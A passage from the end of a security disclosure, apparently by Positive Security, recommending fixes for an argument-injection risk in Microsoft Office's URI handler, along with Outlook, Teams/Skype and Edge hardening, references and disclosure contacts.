- The range of potentially malicious `filename` values is wide and spans implementation details of applications from various developer teams

Overall, this introduces a high attack surface and probability for inconsistencies. Therefore, we'd recommend, if possible, the removal of this URI handler and a migration to the application-specific URI handlers (e.g. "teams:" and "ms-word:") to open the applications. Making the URI handler only available to the Office PWA app would also greatly reduce the risk, if somehow possible.

In addition, we recommend the following actions:

- Strengthen filename validation in AppBridge.dll:
    - Implement an URI scheme allow-list (preferably only http/https)
    - Prevent injection of additional arguments
- Improve Outlook URL argument handling:
    - Do not load websites inside the Outlook UI
    - Do not open local URIs when encountering a `X:/` "scheme" (file://-URIs are already blocked).
- Teams/Skype (launchable Electron Apps):
    - Harden the applications to not accept any additional parameters even after 1-character URI schemes
- Improve Edge URI handling:
    - Ask the user for confirmation before starting external programs as URI handlers

Please let us know if we can provide you with any additional information.

Disclosure Contacts:

- Fabian Bräunlein, fabian@positive.security
- Lukas Euler, lukas@positive.security

[1] [https://support.microsoft.com/en-us/office/command-line-switches-for-microsoft-office-products-079164cd-4ef5-4178-b235-441737deb3a6](https://support.microsoft.com/en-us/office/command-line-switches-for-microsoft-office-products-079164cd-4ef5-4178-b235-441737deb3a6)

[2] [https://www.electronjs.org/blog/protocol-handler-fix](https://www.electronjs.org/blog/protocol-handler-fix)

[3] [https://github.com/electron/electron/blob/ master/shell/app/command_line_args.cc#L18-L20](https://github.com/electron/electron/blob/master/shell/app/command_line_args.cc#L18-L20)

[4] List of launchable applications: Access, Delve, Skype, Teams, Excel, SkypeForBusiness, OfficeLens, OneNote, Outlook, Powerpoint, Project, Publisher, Sway, Visio, Word, Office, Office Hub

Follow us on Twitter (@positive_sec) to keep up to date with our posts.